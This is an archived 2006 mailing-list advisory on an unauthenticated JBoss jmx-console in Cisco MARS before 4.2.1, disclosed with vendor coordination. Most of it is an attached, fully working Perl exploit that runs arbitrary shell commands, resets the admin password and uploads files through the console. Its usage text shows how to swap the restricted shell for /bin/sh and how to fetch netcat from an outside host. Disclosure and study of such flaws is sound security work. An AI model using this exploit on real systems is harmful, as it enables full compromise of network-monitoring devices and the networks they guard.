The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Cisco MARS < 4.2.1 remote compromise


<< Previous INDEX Search src / Print Next >>
Date: Wed, 19 Jul 2006 18:21:03 -0700
From: Jon Hart <jhart@spoofed.org.>
To: [email protected]
Subject: Cisco MARS < 4.2.1 remote compromise
Message-ID: <20060720012103.GH25856@spoofed.org.>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
        protocol="application/pgp-signature"; boundary="X1xGqyAVbSpAWs5A"
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: antivirus-gw at tyumen.ru


--X1xGqyAVbSpAWs5A
Content-Type: multipart/mixed; boundary="V32M1hWVjliPHW+c"
Content-Disposition: inline


--V32M1hWVjliPHW+c
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Cisco MARS (Monitoring, Analysis and Response System, sometimes referred
to as CS-MARS) prior to version 4.2.1 ships with an unprotected JBoss
installation which ultimately leads to a complete compromise of the
device.

The caveat here is that, despite much work on Cisco's part, they were
not able to determine why some CS-MARS boxes were vulnerable and others
were not.  In versions 4.2.1 and newer, the discovered vulnerabilities
have been fixed.

Vulnerability #1

CS-MARS shipped with JBoss 3.2.7, which suffered a number of flaws
originally disclosed by Marc Schoenefeld in June of 2005.  See
http://www.securityfocus.com/archive/1/402653 for the original posting.

Vulnerability #2

CS-MARS' JBoss installation is basically stock, so few if any of the
recommended procedures were taken to secure it prior to shipment.
A common document used in securing JBoss can be found at
http://wiki.jboss.org/wiki/Wiki.jsp?page=SecureJBoss

Perhaps the most glaring vulnerability that results is the exposure of
the jmx-console, and in turn full access to all of the MBeans.  Per
JBoss.org's description of the jmx-console:

   "The JMX console provides a raw view into the microkernel of the
   JBoss application server. It lists all registered services (MBeans)
   that are active in the application server and that can be accessed
   either through the JMX console itself or programmatically from Java
   code."

As you can imagine, once an attacker has access to the jmx-console, the
thoroughness with which the box can be compromised is only limited by
their imagination.  The jmx console is reachable on CS-MARS devices
versions < 4.2.1 -- no authentication is necessary, and is available on
port 80 and 443.

I've put together some functional POC exploit code that leverages many
of the MBeans to compromise the system in various ways.  Please see the
attached code.


Vendor status

Cisco's PSIRT was extremely responsive throughout this entire process.
The JBoss issues I mentioned above are addressed by Cisco DDTS
CSCse47646, and fixed in version 4.2.1 and newer.


Enjoy,

-jon


--V32M1hWVjliPHW+c
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=CS-MARS_jboss-exploit
Content-Transfer-Encoding: quoted-printable

#!/usr/bin/perl
#=20
# Cisco/Protego CS-MARS < 4.2.1 remote command execution, system compromise
# via insecure JBoss installation.
#
# Fully functional POC code by Jon Hart <jhart@spoofed.org.>
#
# Addressed in CSCse47646
#
# CS-MARS is an event correlation product orginally written by Protego,
# which is now owned by Cisco.  It is built on top of JBoss.
# Unfortunately, little or no effort was put in to securing the JBoss
# installation as per the JBoss community's recommended best practices.
# A such, the usual set of JBoss interfaces are wide open and it is up to
# the attacker how creative they want to be in compromising the box.  This
# particular exploit vector abuses the JBoss jmx-console for all sorts of
# fun.  It should also be noted that, because of the very old kernel
# running on most CS-MARS boxes (2.4.9), once JBoss is compromised, root is
# almost trivial.  Thanks to Cisco PSIRT and Matt Cerha for their
# cooperation in getting this fixed.
#
#################################
#  Copyright (C) 2006 Jon Hart
#
#  This program is free software; you can redistribute it and/or modify it
#  under the terms of the GNU General Public License as published by the Fr=
ee
#  Software Foundation; either version 2 of the License, or (at your option)
#  any later version.
#
#  This program is distributed in the hope that it will be useful, but WITH=
OUT
#  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
#  FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
#  more details.
#
#  You should have received a copy of the GNU General Public License along =
with
#  this program; if not, write to the Free Software Foundation, Inc., 59 Te=
mple
#  Place, Suite 330, Boston, MA 02111-1307 USA
#
#
#################################
#

use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;

my $target =3D shift(@ARGV) || &usage;
my $attack_type =3D shift(@ARGV) || &usage;=20

for ($attack_type) {
   if    (/pass/) { &change_passwd(@ARGV); }
   elsif (/cmd/) { &run_cmd(@ARGV); }
   elsif (/upload/) { &upload(@ARGV); }
   elsif (/[bean|bsh]/) { &run_bsh(@ARGV); }
   else { &usage; }
}=20

sub change_passwd {
   my $passwd =3D shift;
   &run_cmd("/opt/janus/release/bin/pnpasswd $passwd");
}

sub encode {
   my $en =3D shift;
   my $string =3D "";
   foreach my $char (split(//, $en)) {
      if ($char =3D~ /([:|\/|(|)|"|'|`| ])/) {
         $string .=3D sprintf("%%%x", ord($1));
      } else { $string .=3D $char; }
   }
   return $string;
}

sub jmx_post {
   my $form_data =3D shift;=20
   my $ua =3D LWP::UserAgent->new;
   $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
   my $req =3D HTTP::Request->new(POST =3D> "http://$target/jmx-console/Htm=
lAdaptor");
   $req->content_type('application/x-www-form-urlencoded');
   $req->content(&encode($form_data));

   my $res =3D $ua->request($req);

   return $res->is_success ? 0 : $res->status_line;
}

sub run_bsh {
   my $file =3D shift;
   my $bsh =3D "";
   open(BSH, "$file") or die "Couldn't open $file: $!\n";
   print("Sending beanshell from $file: ");
   while (<BSH>) {
      # the bsh must be one long string...
      chomp();
      $bsh .=3D $_;
   }
  =20
   printf("%s\n", &send_beanshell($bsh) =3D=3D 0 ? "Success" : "Failed");
}

sub run_cmd {
   my $cmd =3D shift;=20
   my $code =3D "";
 =20
   # & in the command needs to be encoded so as to not be confused with the=
 &
   # in the URI
   $cmd =3D~ s/&/%26/g;
   if ($cmd =3D~ />|\||&/) {
      # exec() does not handle pipes or redirection well, so do this instead
      $code =3D 'String sh =3D "/bin/sh"; String opt =3D "-c"; String cmd =
=3D "'
            . $cmd .
            '"; String[] exec =3D new String[] { sh, opt, cmd }; Runtime.ge=
tRuntime().exec(exec);';
   } else {
      $code =3D "Runtime.getRuntime().exec(\"$cmd\");";
   }

   print("Running '$cmd' on $target: ");
   printf("%s\n", &send_beanshell($code) =3D=3D 0 ? "Success" : "Failed!");
}

sub send_beanshell {
   my $code =3D shift;
   # ensure the name of the bsh job within java has a unique name
   my $name =3D "cmd" . int(rand(65535)) . $$;
   return &jmx_post("action=3DinvokeOp&name=3Djboss.scripts:service=3DBSHDe=
ployer&methodIndex=3D1&arg0=3D$code&arg1=3D$name");
}

sub upload {
   # upload a file.  I was too lazy to use org.jboss.console.manager.Deploy=
mentFileRepository
   my $file =3D shift;
   my $path =3D shift;
   my $new_name =3D shift;
   my $chunk =3D "";
   my $ret =3D 0;
   open(FILE, "< $file") or die "Couldn't open $file for reading: $!\n";

   if (!(defined($new_name))) {
      my @path =3D split(/\//, $file);
      $new_name =3D $path[$#path];
   }

   print("Uploading $file to $target...\n");
   &run_cmd("touch $path/$new_name");
   while(read(FILE,$chunk,4096)) {
      # encode this file in 4096 byte chunks in a format that is able to be=
 handled by JBoss.
      # There are plenty of ways to do this, but none that were both portab=
le and that didn't make JBoss=20
      # throw a 500 or otherwise botch the file.  UGLY.
      $chunk =3D join('', map { sprintf("%03d,", ord("$_")) } split(//, $ch=
unk));
      $ret +=3D &run_cmd("echo -n $chunk | perl -ne 'foreach (split(/,/, \$=
_)) { print chr(\$_); }' >> $path/$new_name");
   }

   printf("Upload of $file to $target:$path/new_name %s!\n", $ret =3D=3D 0 =
? "succeeded" : "failed");
}


sub usage {
   print <<EOF;
   Cisco MARS (CS-MARS) < 4.2.1 JBoss exploit (CSCse47646) POC by Jon Hart =
<jhart\@spoofed.org>

   Basic Usage:
      $0 <target> <exploit_type> [<exploit_specific_args] ...]

   Extended Usage:
      Change password:
      $0 <target> pass <password>
      Run shell command:
      $0 <target> cmd <your quoted shell command>
      Run BeanShell code:
      $0 <target> bsh /path/to/file/with/beanshell
      Upload files:
      $0 <target> upload <file to upload> <path on target> [<new name>]

      Fun Stuff:
         Get a real shell:
         $0 <target> cmd "cp /opt/janus/release/bin/pnsh /opt/janus/release=
/bin/pnsh.bak"
         $0 <target> cmd "rm  /opt/janus/release/bin/pnsh"
         $0 <target> cmd "cp /bin/sh /opt/janus/release/bin/pnsh"
         # now ssh to the target...
         [pnadmin\@pnmars bin]\$ id
         uid=3D501(pnadmin) gid=3D501(pnadmin) groups=3D501(pnadmin)
         [pnadmin\@pnmars bin]\$ uname -a
         Linux pnmars 2.4.9-e.57 #1 Thu Dec 2 20:56:19 EST 2004 i686 unknown
         [pnadmin\@pnmars bin]\$ hostname
         pnmars
        =20
         Download something:
         $0 <target> cmd "curl http://yourhost/nc -o /tmp/nc"

EOF
exit(1);
}

--V32M1hWVjliPHW+c--

--X1xGqyAVbSpAWs5A
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQFEvtp/L6nwo6+o6dMRAqL4AJ9kmo5mwLRV4NH9JLnL5dLEN1tW3gCeJoyJ
Uwu05qFbleoiECd7PHXwMo4=
=eXoN
-----END PGP SIGNATURE-----

--X1xGqyAVbSpAWs5A--


<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру